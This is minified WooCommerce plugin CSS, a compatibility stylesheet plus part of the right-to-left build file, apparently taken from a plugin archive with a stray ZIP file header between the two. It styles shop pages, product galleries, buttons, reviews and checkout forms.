.woocommerce-MyAccount-navigation{float:right;width:30%}.woocommerce-account .woocommerce-MyAccount-content{float:left;width:68%}.woocommerce-page.left-sidebar #content.twentyeleven{width:58.4%;margin:0 7.6%;float:left}.woocommerce-page.right-sidebar #content.twentyeleven{margin:0 7.6%;width:58.4%;float:right}.twentyfourteen .tfwc{padding:12px 10px 0;max-width:474px;margin:0 auto}.twentyfourteen .tfwc .product .entry-summary{padding:0!important;margin:0 0 1.618em!important}.twentyfourteen .tfwc div.product.hentry.has-post-thumbnail{margin-top:0}@media screen and (min-width:673px){.twentyfourteen .tfwc{padding-left:30px;padding-right:30px}}@media screen and (min-width:1040px){.twentyfourteen .tfwc{padding-left:15px;padding-right:15px}}@media screen and (min-width:1110px){.twentyfourteen .tfwc{padding-left:30px;padding-right:30px}}@media screen and (min-width:1218px){.twentyfourteen .tfwc{margin-left:54px}.full-width .twentyfourteen .tfwc{margin-left:auto}}.twentyfifteen .t15wc{padding-right:7.6923%;padding-left:7.6923%;padding-top:7.6923%;margin-bottom:7.6923%;background:#fff;box-shadow:0 0 1px rgba(0,0,0,.15)}.twentyfifteen .t15wc .page-title{margin-right:0}@media screen and (min-width:38.75em){.twentyfifteen .t15wc{margin-left:7.6923%;margin-right:7.6923%;margin-top:8.3333%}}@media screen and (min-width:59.6875em){.twentyfifteen .t15wc{margin-right:8.3333%;margin-left:8.3333%;padding:10%}.single-product .twentyfifteen .entry-summary{padding:0!important}}.twentysixteen .site-main{margin-left:7.6923%;margin-right:7.6923%}.twentysixteen .entry-summary{margin-left:0;margin-right:0}#content .twentysixteen div.product div.images,#content .twentysixteen div.product div.summary{width:46.42857%}@media screen and (min-width:44.375em){.twentysixteen .site-main{margin-left:23.0769%}}@media screen and (min-width:56.875em){.twentysixteen .site-main{margin-left:0;margin-right:0}.no-sidebar .twentysixteen .site-main{margin-left:15%;margin-right:15%}.no-sidebar .twentysixteen .entry-summary{margin-left:0;margin-right:0}}.rtl .woocommerce .col2-set .col-1,.rtl .woocommerce-page .col2-set .col-1{float:left}.rtl .woocommerce .col2-set .col-2,.rtl .woocommerce-page .col2-set .col-2{float:right}PK     0w\H	    )  woocommerce/css/build/woocommerce-rtl.cssnu [        @charset "UTF-8";:root{--woocommerce:#a46497;--wc-green:#7ad03a;--wc-red:#a00;--wc-orange:#ffba00;--wc-blue:#2ea2cc;--wc-primary:#a46497;--wc-primary-text:white;--wc-secondary:#ebe9eb;--wc-secondary-text:#515151;--wc-highlight:#77a464;--wc-highligh-text:white;--wc-content-bg:#fff;--wc-subtext:#767676}@-webkit-keyframes spin{100%{-webkit-transform:rotate(-360deg);transform:rotate(-360deg)}}@keyframes spin{100%{-webkit-transform:rotate(-360deg);transform:rotate(-360deg)}}@font-face{font-family:star;src:url(../fonts/star.eot);src:url(../fonts/star.eot?#iefix) format("embedded-opentype"),url(../fonts/star.woff) format("woff"),url(../fonts/star.ttf) format("truetype"),url(../fonts/star.svg#star) format("svg");font-weight:400;font-style:normal}@font-face{font-family:WooCommerce;src:url(../fonts/WooCommerce.eot);src:url(../fonts/WooCommerce.eot?#iefix) format("embedded-opentype"),url(../fonts/WooCommerce.woff) format("woff"),url(../fonts/WooCommerce.ttf) format("truetype"),url(../fonts/WooCommerce.svg#WooCommerce) format("svg");font-weight:400;font-style:normal}.woocommerce-store-notice,p.demo_store{position:absolute;top:0;right:0;left:0;margin:0;width:100%;font-size:1em;padding:1em 0;text-align:center;background-color:#a46497;color:#fff;z-index:99998;box-shadow:0 1px 1em rgba(0,0,0,.2);display:none}.woocommerce-store-notice a,p.demo_store a{color:#fff;text-decoration:underline}.screen-reader-text{clip:rect(1px,1px,1px,1px);height:1px;overflow:hidden;position:absolute!important;width:1px;word-wrap:normal!important}.admin-bar p.demo_store{top:32px}.clear{clear:both}.woocommerce .blockUI.blockOverlay{position:relative}.woocommerce .blockUI.blockOverlay::before{height:1em;width:1em;display:block;position:absolute;top:50%;right:50%;margin-right:-.5em;margin-top:-.5em;content:"";-webkit-animation:spin 1s ease-in-out infinite;animation:spin 1s ease-in-out infinite;background:url(../images/icons/loader.svg) center center;background-size:cover;line-height:1;text-align:center;font-size:2em;color:rgba(0,0,0,.75)}.woocommerce .loader::before{height:1em;width:1em;display:block;position:absolute;top:50%;right:50%;margin-right:-.5em;margin-top:-.5em;content:"";-webkit-animation:spin 1s ease-in-out infinite;animation:spin 1s ease-in-out infinite;background:url(../images/icons/loader.svg) center center;background-size:cover;line-height:1;text-align:center;font-size:2em;color:rgba(0,0,0,.75)}.woocommerce a.remove{display:block;font-size:1.5em;height:1em;width:1em;text-align:center;line-height:1;border-radius:100%;color:red!important;text-decoration:none;font-weight:700;border:0}.woocommerce a.remove:hover{color:#fff!important;background:red}.woocommerce small.note{display:block;color:#767676;font-size:.857em;margin-top:10px}.woocommerce .woocommerce-breadcrumb{margin:0 0 1em;padding:0;font-size:.92em;color:#767676}.woocommerce .woocommerce-breadcrumb::after,.woocommerce .woocommerce-breadcrumb::before{content:" ";display:table}.woocommerce .woocommerce-breadcrumb::after{clear:both}.woocommerce .woocommerce-breadcrumb a{color:#767676}.woocommerce .quantity .qty{width:3.631em;text-align:center}.woocommerce div.product{margin-bottom:0;position:relative}.woocommerce div.product .product_title{clear:none;margin-top:0;padding:0}.woocommerce div.product p.price,.woocommerce div.product span.price{color:#77a464;font-size:1.25em}.woocommerce div.product p.price ins,.woocommerce div.product span.price ins{background:inherit;font-weight:700;display:inline-block}.woocommerce div.product p.price del,.woocommerce div.product span.price del{opacity:.5;display:inline-block}.woocommerce div.product p.stock{font-size:.92em}.woocommerce div.product .stock{color:#77a464}.woocommerce div.product .out-of-stock{color:red}.woocommerce div.product .woocommerce-product-rating{margin-bottom:1.618em}.woocommerce div.product div.images{margin-bottom:2em}.woocommerce div.product div.images img{display:block;width:100%;height:auto;box-shadow:none}.woocommerce div.product div.images div.thumbnails{padding-top:1em}.woocommerce div.product div.images.woocommerce-product-gallery{position:relative}.woocommerce div.product div.images .woocommerce-product-gallery__wrapper{-webkit-transition:all cubic-bezier(.795,-.035,0,1) .5s;transition:all cubic-bezier(.795,-.035,0,1) .5s;margin:0;padding:0}.woocommerce div.product div.images .woocommerce-product-gallery__wrapper .zoomImg{background-color:#fff;opacity:0}.woocommerce div.product div.images .woocommerce-product-gallery__image--placeholder{border:1px solid #f2f2f2}.woocommerce div.product div.images .woocommerce-product-gallery__image:nth-child(n+2){width:25%;display:inline-block}.woocommerce div.product div.images .woocommerce-product-gallery__trigger{position:absolute;top:.5em;left:.5em;font-size:2em;z-index:9;width:36px;height:36px;background:#fff;text-indent:-9999px;border-radius:100%;box-sizing:content-box}.woocommerce div.product div.images .woocommerce-product-gallery__trigger::before{content:"";display:block;width:10px;height:10px;border:2px solid #000;border-radius:100%;position:absolute;top:9px;right:9px;box-sizing:content-box}.woocommerce div.product div.images .woocommerce-product-gallery__trigger::after{content:"";display:block;width:2px;height:8px;background:#000;border-radius:6px;position:absolute;top:19px;right:22px;-webkit-transform:rotate(45deg);-ms-transform:rotate(45deg);transform:rotate(45deg);box-sizing:content-box}.woocommerce div.product div.images .flex-control-thumbs{overflow:hidden;zoom:1;margin:0;padding:0}.woocommerce div.product div.images .flex-control-thumbs li{width:25%;float:right;margin:0;list-style:none}.woocommerce div.product div.images .flex-control-thumbs li img{cursor:pointer;opacity:.5;margin:0}.woocommerce div.product div.images .flex-control-thumbs li img.flex-active,.woocommerce div.product div.images .flex-control-thumbs li img:hover{opacity:1}.woocommerce div.product .woocommerce-product-gallery--columns-3 .flex-control-thumbs li:nth-child(3n+1){clear:right}.woocommerce div.product .woocommerce-product-gallery--columns-4 .flex-control-thumbs li:nth-child(4n+1){clear:right}.woocommerce div.product .woocommerce-product-gallery--columns-5 .flex-control-thumbs li:nth-child(5n+1){clear:right}.woocommerce div.product div.summary{margin-bottom:2em}.woocommerce div.product div.social{text-align:left;margin:0 0 1em}.woocommerce div.product div.social span{margin:0 2px 0 0}.woocommerce div.product div.social span span{margin:0}.woocommerce div.product div.social span .stButton .chicklets{padding-right:16px;width:0}.woocommerce div.product div.social iframe{float:right;margin-top:3px}.woocommerce div.product .woocommerce-tabs ul.tabs{list-style:none;padding:0 1em 0 0;margin:0 0 1.618em;overflow:hidden;position:relative}.woocommerce div.product .woocommerce-tabs ul.tabs li{border:1px solid #d3ced2;background-color:#ebe9eb;display:inline-block;position:relative;z-index:0;border-radius:4px 4px 0 0;margin:0 -5px;padding:0 1em}.woocommerce div.product .woocommerce-tabs ul.tabs li a{display:inline-block;padding:.5em 0;font-weight:700;color:#515151;text-decoration:none}.woocommerce div.product .woocommerce-tabs ul.tabs li a:hover{text-decoration:none;color:#6b6a6b}.woocommerce div.product .woocommerce-tabs ul.tabs li.active{background:#fff;z-index:2;border-bottom-color:#fff}.woocommerce div.product .woocommerce-tabs ul.tabs li.active a{color:inherit;text-shadow:inherit}.woocommerce div.product .woocommerce-tabs ul.tabs li.active::before{box-shadow:-2px 2px 0 #fff}.woocommerce div.product .woocommerce-tabs ul.tabs li.active::after{box-shadow:2px 2px 0 #fff}.woocommerce div.product .woocommerce-tabs ul.tabs li::after,.woocommerce div.product .woocommerce-tabs ul.tabs li::before{border:1px solid #d3ced2;position:absolute;bottom:-1px;width:5px;height:5px;content:" ";box-sizing:border-box}.woocommerce div.product .woocommerce-tabs ul.tabs li::before{right:-5px;border-bottom-left-radius:4px;border-width:0 0 1px 1px;box-shadow:-2px 2px 0 #ebe9eb}.woocommerce div.product .woocommerce-tabs ul.tabs li::after{left:-5px;border-bottom-right-radius:4px;border-width:0 1px 1px 0;box-shadow:2px 2px 0 #ebe9eb}.woocommerce div.product .woocommerce-tabs ul.tabs::before{position:absolute;content:" ";width:100%;bottom:0;right:0;border-bottom:1px solid #d3ced2;z-index:1}.woocommerce div.product .woocommerce-tabs .panel{margin:0 0 2em;padding:0}.woocommerce div.product p.cart{margin-bottom:2em}.woocommerce div.product p.cart::after,.woocommerce div.product p.cart::before{content:" ";display:table}.woocommerce div.product p.cart::after{clear:both}.woocommerce div.product form.cart{margin-bottom:2em}.woocommerce div.product form.cart::after,.woocommerce div.product form.cart::before{content:" ";display:table}.woocommerce div.product form.cart::after{clear:both}.woocommerce div.product form.cart div.quantity{float:right;margin:0 0 0 4px}.woocommerce div.product form.cart table{border-width:0 0 1px}.woocommerce div.product form.cart table td{padding-right:0}.woocommerce div.product form.cart table div.quantity{float:none;margin:0}.woocommerce div.product form.cart table small.stock{display:block;float:none}.woocommerce div.product form.cart .variations{margin-bottom:1em;border:0;width:100%}.woocommerce div.product form.cart .variations td,.woocommerce div.product form.cart .variations th{border:0;vertical-align:top;line-height:2em}.woocommerce div.product form.cart .variations label{font-weight:700}.woocommerce div.product form.cart .variations select{max-width:100%;min-width:75%;display:inline-block;margin-left:1em}.woocommerce div.product form.cart .variations td.label{padding-left:1em}.woocommerce div.product form.cart .woocommerce-variation-description p{margin-bottom:1em}.woocommerce div.product form.cart .reset_variations{visibility:hidden;font-size:.83em}.woocommerce div.product form.cart .wc-no-matching-variations{display:none}.woocommerce div.product form.cart .button{vertical-align:middle;float:right}.woocommerce div.product form.cart .group_table td.woocommerce-grouped-product-list-item__label{padding-left:1em;padding-right:1em}.woocommerce div.product form.cart .group_table td{vertical-align:top;padding-bottom:.5em;border:0}.woocommerce div.product form.cart .group_table td:first-child{width:4em;text-align:center}.woocommerce div.product form.cart .group_table .wc-grouped-product-add-to-cart-checkbox{display:inline-block;width:auto;margin:0 auto;-webkit-transform:scale(1.5,1.5);-ms-transform:scale(1.5,1.5);transform:scale(1.5,1.5)}.woocommerce span.onsale{min-height:3.236em;min-width:3.236em;padding:.202em;font-size:1em;font-weight:700;position:absolute;text-align:center;line-height:3.236;top:-.5em;right:-.5em;margin:0;border-radius:100%;background-color:#77a464;color:#fff;font-size:.857em;z-index:9}.woocommerce .products ul,.woocommerce ul.products{margin:0 0 1em;padding:0;list-style:none outside;clear:both}.woocommerce .products ul::after,.woocommerce .products ul::before,.woocommerce ul.products::after,.woocommerce ul.products::before{content:" ";display:table}.woocommerce .products ul::after,.woocommerce ul.products::after{clear:both}.woocommerce .products ul li,.woocommerce ul.products li{list-style:none outside}.woocommerce ul.products li.product .onsale{top:0;left:0;right:auto;margin:-.5em 0 0 -.5em}.woocommerce ul.products li.product .woocommerce-loop-category__title,.woocommerce ul.products li.product .woocommerce-loop-product__title,.woocommerce ul.products li.product h3{padding:.5em 0;margin:0;font-size:1em}.woocommerce ul.products li.product a{text-decoration:none}.woocommerce ul.products li.product a img{width:100%;height:auto;display:block;margin:0 0 1em;box-shadow:none}.woocommerce ul.products li.product strong{display:block}.woocommerce ul.products li.product .woocommerce-placeholder{border:1px solid #f2f2f2}.woocommerce ul.products li.product .star-rating{font-size:.857em}.woocommerce ul.products li.product .button{margin-top:1em}.woocommerce ul.products li.product .price{color:#77a464;display:block;font-weight:400;margin-bottom:.5em;font-size:.857em}.woocommerce ul.products li.product .price del{color:inherit;opacity:.5;display:inline-block}.woocommerce ul.products li.product .price ins{background:0 0;font-weight:700;display:inline-block}.woocommerce ul.products li.product .price .from{font-size:.67em;margin:-2px 0 0 0;text-transform:uppercase;color:rgba(132,132,132,.5)}.woocommerce .woocommerce-result-count{margin:0 0 1em}.woocommerce .woocommerce-ordering{margin:0 0 1em}.woocommerce .woocommerce-ordering select{vertical-align:top}.woocommerce nav.woocommerce-pagination{text-align:center}.woocommerce nav.woocommerce-pagination ul{display:inline-block;white-space:nowrap;padding:0;clear:both;border:1px solid #d3ced2;border-left:0;margin:1px}.woocommerce nav.woocommerce-pagination ul li{border-left:1px solid #d3ced2;padding:0;margin:0;float:right;display:inline;overflow:hidden}.woocommerce nav.woocommerce-pagination ul li a,.woocommerce nav.woocommerce-pagination ul li span{margin:0;text-decoration:none;padding:0;line-height:1;font-size:1em;font-weight:400;padding:.5em;min-width:1em;display:block}.woocommerce nav.woocommerce-pagination ul li a:focus,.woocommerce nav.woocommerce-pagination ul li a:hover,.woocommerce nav.woocommerce-pagination ul li span.current{background:#ebe9eb;color:#8a7e88}.woocommerce #respond input#submit,.woocommerce a.button,.woocommerce button.button,.woocommerce input.button{font-size:100%;margin:0;line-height:1;cursor:pointer;position:relative;text-decoration:none;overflow:visible;padding:.618em 1em;font-weight:700;border-radius:3px;right:auto;color:#515151;background-color:#ebe9eb;border:0;display:inline-block;background-image:none;box-shadow:none;text-shadow:none}.woocommerce #respond input#submit.loading,.woocommerce a.button.loading,.woocommerce button.button.loading,.woocommerce input.button.loading{opacity:.25;padding-left:2.618em}.woocommerce #respond input#submit.loading::after,.woocommerce a.button.loading::after,.woocommerce button.button.loading::after,.woocommerce input.button.loading::after{font-family:WooCommerce;content:"\e01c";vertical-align:top;font-weight:400;position:absolute;top:.618em;left:1em;-webkit-animation:spin 2s linear infinite;animation:spin 2s linear infinite}.woocommerce #respond input#submit.added::after,.woocommerce a.button.added::after,.woocommerce button.button.added::after,.woocommerce input.button.added::after{font-family:WooCommerce;content:"\e017";margin-right:.53em;vertical-align:bottom}.woocommerce #respond input#submit:hover,.woocommerce a.button:hover,.woocommerce button.button:hover,.woocommerce input.button:hover{background-color:#dfdcde;text-decoration:none;background-image:none;color:#515151}.woocommerce #respond input#submit.alt,.woocommerce a.button.alt,.woocommerce button.button.alt,.woocommerce input.button.alt{background-color:#a46497;color:#fff;-webkit-font-smoothing:antialiased}.woocommerce #respond input#submit.alt:hover,.woocommerce a.button.alt:hover,.woocommerce button.button.alt:hover,.woocommerce input.button.alt:hover{background-color:#96588a;color:#fff}.woocommerce #respond input#submit.alt.disabled,.woocommerce #respond input#submit.alt.disabled:hover,.woocommerce #respond input#submit.alt:disabled,.woocommerce #respond input#submit.alt:disabled:hover,.woocommerce #respond input#submit.alt:disabled[disabled],.woocommerce #respond input#submit.alt:disabled[disabled]:hover,.woocommerce a.button.alt.disabled,.woocommerce a.button.alt.disabled:hover,.woocommerce a.button.alt:disabled,.woocommerce a.button.alt:disabled:hover,.woocommerce a.button.alt:disabled[disabled],.woocommerce a.button.alt:disabled[disabled]:hover,.woocommerce button.button.alt.disabled,.woocommerce button.button.alt.disabled:hover,.woocommerce button.button.alt:disabled,.woocommerce button.button.alt:disabled:hover,.woocommerce button.button.alt:disabled[disabled],.woocommerce button.button.alt:disabled[disabled]:hover,.woocommerce input.button.alt.disabled,.woocommerce input.button.alt.disabled:hover,.woocommerce input.button.alt:disabled,.woocommerce input.button.alt:disabled:hover,.woocommerce input.button.alt:disabled[disabled],.woocommerce input.button.alt:disabled[disabled]:hover{background-color:#a46497;color:#fff}.woocommerce #respond input#submit.disabled,.woocommerce #respond input#submit:disabled,.woocommerce #respond input#submit:disabled[disabled],.woocommerce a.button.disabled,.woocommerce a.button:disabled,.woocommerce a.button:disabled[disabled],.woocommerce button.button.disabled,.woocommerce button.button:disabled,.woocommerce button.button:disabled[disabled],.woocommerce input.button.disabled,.woocommerce input.button:disabled,.woocommerce input.button:disabled[disabled]{color:inherit;cursor:not-allowed;opacity:.5;padding:.618em 1em}.woocommerce #respond input#submit.disabled:hover,.woocommerce #respond input#submit:disabled:hover,.woocommerce #respond input#submit:disabled[disabled]:hover,.woocommerce a.button.disabled:hover,.woocommerce a.button:disabled:hover,.woocommerce a.button:disabled[disabled]:hover,.woocommerce button.button.disabled:hover,.woocommerce button.button:disabled:hover,.woocommerce button.button:disabled[disabled]:hover,.woocommerce input.button.disabled:hover,.woocommerce input.button:disabled:hover,.woocommerce input.button:disabled[disabled]:hover{color:inherit;background-color:#ebe9eb}.woocommerce .cart .button,.woocommerce .cart input.button{float:none}.woocommerce a.added_to_cart{padding-top:.5em;display:inline-block}.woocommerce #reviews h2 small{float:left;color:#767676;font-size:15px;margin:10px 0 0}.woocommerce #reviews h2 small a{text-decoration:none;color:#767676}.woocommerce #reviews h3{margin:0}.woocommerce #reviews #respond{margin:0;border:0;padding:0}.woocommerce #reviews #comment{height:75px}.woocommerce #reviews #comments .add_review::after,.woocommerce #reviews #comments .add_review::before{content:" ";display:table}.woocommerce #reviews #comments .add_review::after{clear:both}.woocommerce #reviews #comments h2{clear:none}.woocommerce #reviews #comments ol.commentlist{margin:0;width:100%;background:0 0;list-style:none}.woocommerce #reviews #comments ol.commentlist::after,.woocommerce #reviews #comments ol.commentlist::before{content:" ";display:table}.woocommerce #reviews #comments ol.commentlist::after{clear:both}.woocommerce #reviews #comments ol.commentlist li{padding:0;margin:0 0 20px;border:0;position:relative;background:100%;border:0}.woocommerce #reviews #comments ol.commentlist li .meta{color:#767676;font-size:.75em}.woocommerce #reviews #comments ol.commentlist li img.avatar{float:right;position:absolute;top:0;right:0;padding:3px;width:32px;height:auto;background:#ebe9eb;border:1px solid #e4e1e3;margin:0;box-shadow:none}.woocommerce #reviews #comments ol.commentlist li .comment-text{margin:0 50px 0 0;border:1px solid #e4e1e3;border-radius:4px;padding:1em 1em 0}.woocommerce #reviews #comments ol.commentlist li .comment-text::after,.woocommerce #reviews #comments ol.commentlist li .comment-text::before{content:" ";display:table}.woocommerce #reviews #comments ol.commentlist li .comment-text::after{clear:both}.woocommerce #reviews #comments ol.commentlist li .comment-text p{margin:0 0 1em}.woocommerce #reviews #comments ol.commentlist li .comment-text p.meta{font-size:.83em}.woocommerce #reviews #comments ol.commentlist ul.children{list-style:none outside;margin:20px 50px 0 0}.woocommerce #reviews #comments ol.commentlist ul.children .star-rating{display:none}.woocommerce #reviews #comments ol.commentlist #respond{border:1px solid #e4e1e3;border-radius:4px;padding:1em 1em 0;margin:20px 50px 0 0}.woocommerce #reviews #comments .commentlist>li::before{content:""}.woocommerce .star-rating{float:left;overflow:hidden;position:relative;height:1em;line-height:1;font-size:1em;width:5.4em;font-family:star}.woocommerce .star-rating::before{content:"\73\73\73\73\73";color:#d3ced2;float:right;top:0;right:0;position:absolute}.woocommerce .star-rating span{overflow:hidden;float:right;top:0;right:0;position:absolute;padding-top:1.5em}.woocommerce .star-rating span::before{content:"\53\53\53\53\53";top:0;position:absolute;right:0}.woocommerce .woocommerce-product-rating{line-height:2;display:block}.woocommerce .woocommerce-product-rating::after,.woocommerce .woocommerce-product-rating::before{content:" ";display:table}.woocommerce .woocommerce-product-rating::after{clear:both}.woocommerce .woocommerce-product-rating .star-rating{margin:.5em 0 0 4px;float:right}.woocommerce .products .star-rating{display:block;margin:0 0 .5em;float:none}.woocommerce .hreview-aggregate .star-rating{margin:10px 0 0}.woocommerce #review_form #respond{position:static;margin:0;width:auto;padding:0;background:transparent none;border:0}.woocommerce #review_form #respond::after,.woocommerce #review_form #respond::before{content:" ";display:table}.woocommerce #review_form #respond::after{clear:both}.woocommerce #review_form #respond p{margin:0 0 10px}.woocommerce #review_form #respond .form-submit input{right:auto}.woocommerce #review_form #respond textarea{box-sizing:border-box;width:100%}.woocommerce p.stars a{position:relative;height:1em;width:1em;text-indent:-999em;display:inline-block;text-decoration:none}.woocommerce p.stars a::before{display:block;position:absolute;top:0;right:0;width:1em;height:1em;line-height:1;font-family:WooCommerce;content:"\e021";text-indent:0}.woocommerce p.stars a:hover~a::before{content:"\e021"}.woocommerce p.stars:hover a::before{content:"\e020"}.woocommerce p.stars.selected a.active::before{content:"\e020"}.woocommerce p.stars.selected a.active~a::before{content:"\e021"}.woocommerce p.stars.selected a:not(.active)::before{content:"\e020"}.woocommerce table.shop_attributes{border:0;border-top:1px dotted rgba(0,0,0,.1);margin-bottom:1.618em;width:100%}.woocommerce table.shop_attributes th{width:150px;font-weight:700;padding:8px;border-top:0;border-bottom:1px dotted rgba(0,0,0,.1);margin:0;line-height:1.5}.woocommerce table.shop_attributes td{font-style:italic;padding:0;border-top:0;border-bottom:1px dotted rgba(0,0,0,.1);margin:0;line-height:1.5}.woocommerce table.shop_attributes td p{margin:0;padding:8px 0}.woocommerce table.shop_attributes tr:nth-child(even) td,.woocommerce table.shop_attributes tr:nth-child(even) th{background:rgba(0,0,0,.025)}.woocommerce table.shop_table{border:1px solid rgba(0,0,0,.1);margin:0 0 24px -1px;text-align:right;width:100%;border-collapse:separate;border-radius:5px}.woocommerce table.shop_table th{font-weight:700;padding:9px 12px;line-height:1.5em}.woocommerce table.shop_table td{border-top:1px solid rgba(0,0,0,.1);padding:9px 12px;vertical-align:middle;line-height:1.5em}.woocommerce table.shop_table td small{font-weight:400}.woocommerce table.shop_table td del{font-weight:400}.woocommerce table.shop_table tbody:first-child tr:first-child td,.woocommerce table.shop_table tbody:first-child tr:first-child th{border-top:0}.woocommerce table.shop_table tbody th,.woocommerce table.shop_table tfoot td,.woocommerce table.shop_table tfoot th{font-weight:700;border-top:1px solid rgba(0,0,0,.1)}.woocommerce table.my_account_orders{font-size:.85em}.woocommerce table.my_account_orders td,.woocommerce table.my_account_orders th{padding:4px 8px;vertical-align:middle}.woocommerce table.my_account_orders .button{white-space:nowrap}.woocommerce table.woocommerce-MyAccount-downloads td,.woocommerce table.woocommerce-MyAccount-downloads th{vertical-align:top;text-align:center}.woocommerce table.woocommerce-MyAccount-downloads td:first-child,.woocommerce table.woocommerce-MyAccount-downloads th:first-child{text-align:right}.woocommerce table.woocommerce-MyAccount-downloads td:last-child,.woocommerce table.woocommerce-MyAccount-downloads th:last-child{text-align:right}.woocommerce table.woocommerce-MyAccount-downloads td .woocommerce-MyAccount-downloads-file::before,.woocommerce table.woocommerce-MyAccount-downloads th .woocommerce-MyAccount-downloads-file::before{content:"\2193";display:inline-block}.woocommerce td.product-name .wc-item-meta,.woocommerce td.product-name dl.variation{list-style:none outside}.woocommerce td.product-name .wc-item-meta .wc-item-meta-label,.woocommerce td.product-name .wc-item-meta dt,.woocommerce td.product-name dl.variation .wc-item-meta-label,.woocommerce td.product-name dl.variation dt{float:right;clear:both;margin-left:.25em;display:inline-block;list-style:none outside}.woocommerce td.product-name .wc-item-meta dd,.woocommerce td.product-name dl.variation dd{margin:0}.woocommerce td.product-name .wc-item-meta p,.woocommerce td.product-name .wc-item-meta:last-child,.woocommerce td.product-name dl.variation p,.woocommerce td.product-name dl.variation:last-child{margin-bottom:0}.woocommerce td.product-name p.backorder_notification{font-size:.83em}.woocommerce td.product-quantity{min-width:80px}.woocommerce ul.cart_list,.woocommerce ul.product_list_widget{list-style:none outside;padding:0;margin:0}.woocommerce ul.cart_list li,.woocommerce ul.product_list_widget li{padding:4px 0;margin:0;list-style:none}.woocommerce ul.cart_list li::after,.woocommerce ul.cart_list li::before,.woocommerce ul.product_list_widget li::after,.woocommerce ul.product_list_widget li::before{content:" ";display:table}.woocommerce ul.cart_list li::after,.woocommerce ul.product_list_widget li::after{clear:both}.woocommerce ul.cart_list li a,.woocommerce ul.product_list_widget li a{display:block;font-weight:700}.woocommerce ul.cart_list li img,.woocommerce ul.product_list_widget li img{float:left;margin-right:4px;width:32px;height:auto;box-shadow:none}.woocommerce ul.cart_list li dl,.woocommerce ul.product_list_widget li dl{margin:0;padding-right:1em;border-right:2px solid rgba(0,0,0,.1)}.woocommerce ul.cart_list li dl::after,.woocommerce ul.cart_list li dl::before,.woocommerce ul.product_list_widget li dl::after,.woocommerce ul.product_list_widget li dl::before{content:" ";display:table}.woocommerce ul.cart_list li dl::after,.woocommerce ul.product_list_widget li dl::after{clear:both}.woocommerce ul.cart_list li dl dd,.woocommerce ul.cart_list li dl dt,.woocommerce ul.product_list_widget li dl dd,.woocommerce ul.product_list_widget li dl dt{display:inline-block;float:right;margin-bottom:1em}.woocommerce ul.cart_list li dl dt,.woocommerce ul.product_list_widget li dl dt{font-weight:700;padding:0 0 .25em;margin:0 0 0 4px;clear:right}.woocommerce ul.cart_list li dl dd,.woocommerce ul.product_list_widget li dl dd{padding:0 0 .25em}.woocommerce ul.cart_list li dl dd p:last-child,.woocommerce ul.product_list_widget li dl dd p:last-child{margin-bottom:0}.woocommerce ul.cart_list li .star-rating,.woocommerce ul.product_list_widget li .star-rating{float:none}.woocommerce .widget_shopping_cart .total,.woocommerce.widget_shopping_cart .total{border-top:3px double #ebe9eb;padding:4px 0 0}.woocommerce .widget_shopping_cart .total strong,.woocommerce.widget_shopping_cart .total strong{min-width:40px;display:inline-block}.woocommerce .widget_shopping_cart .cart_list li,.woocommerce.widget_shopping_cart .cart_list li{padding-right:2em;position:relative;padding-top:0}.woocommerce .widget_shopping_cart .cart_list li a.remove,.woocommerce.widget_shopping_cart .cart_list li a.remove{position:absolute;top:0;right:0}.woocommerce .widget_shopping_cart .buttons::after,.woocommerce .widget_shopping_cart .buttons::before,.woocommerce.widget_shopping_cart .buttons::after,.woocommerce.widget_shopping_cart .buttons::before{content:" ";display:table}.woocommerce .widget_shopping_cart .buttons::after,.woocommerce.widget_shopping_cart .buttons::after{clear:both}.woocommerce .widget_shopping_cart .buttons a,.woocommerce.widget_shopping_cart .buttons a{margin-left:5px;margin-bottom:5px}.woocommerce form .form-row{padding:3px;margin:0 0 6px}.woocommerce form .form-row [placeholder]:focus::-webkit-input-placeholder{-webkit-transition:opacity .5s .5s ease;transition:opacity .5s .5s ease;opacity:0}.woocommerce form .form-row label{line-height:2}.woocommerce form .form-row label.hidden{visibility:hidden}.woocommerce form .form-row label.inline{display:inline}.woocommerce form .form-row .woocommerce-input-wrapper .description{background:#1e85be;color:#fff;border-radius:3px;padding:1em;margin:.5em 0 0;clear:both;display:none;position:relative}.woocommerce form .form-row .woocommerce-input-wrapper .description a{color:#fff;text-decoration:underline;border:0;box-shadow:none}.woocommerce form .form-row .woocommerce-input-wrapper .description::before{right:50%;top:0;margin-top:-4px;-webkit-transform:translateX(50%) rotate(-180deg);-ms-transform:translateX(50%) rotate(-180deg);transform:translateX(50%) rotate(-180deg);content:"";position:absolute;border-width:4px 6px 0 6px;border-style:solid;border-color:#1e85be transparent transparent transparent;z-index:100;display:block}.woocommerce form .form-row select{cursor:pointer;margin:0}.woocommerce form .form-row .required{color:red;font-weight:700;border:0!important;text-decoration:none;visibility:hidden}.woocommerce form .form-row .optional{visibility:visible}.woocommerce form .form-row .input-checkbox{display:inline;margin:-2px 0 0 8px;text-align:center;vertical-align:middle}.woocommerce form .form-row input.input-text,.woocommerce form .form-row textarea{box-sizing:border-box;width:100%;margin:0;outline:0;line-height:normal}.woocommerce form .form-row textarea{height:4em;line-height:1.5;display:block;box-shadow:none}.woocommerce form .form-row .select2-container{width:100%;line-height:2em}.woocommerce form .form-row.woocommerce-invalid label{color:#a00}.woocommerce form .form-row.woocommerce-invalid .select2-container,.woocommerce form .form-row.woocommerce-invalid input.input-text,.woocommerce form .form-row.woocommerce-invalid select{border-color:#a00}.woocommerce form .form-row.woocommerce-validated .select2-container,.woocommerce form .form-row.woocommerce-validated input.input-text,.woocommerce form .form-row.woocommerce-validated select{border-color:#6dc22e}.woocommerce form .form-row ::-webkit-input-placeholder{line-height:normal}.woocommerce form .form-row :-moz-placeholder{line-height:normal}.woocommerce form .form-row :-ms-input-placeholder{line-height:normal}.woocommerce form.checkout_coupon,.woocommerce form.login,.woocommerce form.register{border:1px solid #d3ced2;padding:20px;margin:2em 0;text-align:right;border-radius:5px}.woocommerce ul#shipping_method{list-style:none outside;margin:0;padding:0}.woocommerce ul#shipping_method li{margin:0 0 .5em;line-height:1.5em;list-style:none outside}.woocommerce ul#shipping_method li input{margin:3px 0 0 .4375em;vertical-align:top}.woocommerce ul#shipping_method li label{display:inline}.woocommerce ul#shipping_method .amount{font-weight:700}.woocommerce p.woocommerce-shipping-contents{margin:0}.woocommerce ul.order_details{margin:0 0 3em;list-style:none}.woocommerce ul.order_details::after,.woocommerce ul.order_details::before{content:" ";display:table}.woocommerce ul.order_details::after{clear:both}.woocommerce ul.order_details li{float:right;margin-left:2em;text-transform:uppercase;font-size:.715em;line-height:1;border-left:1px dashed 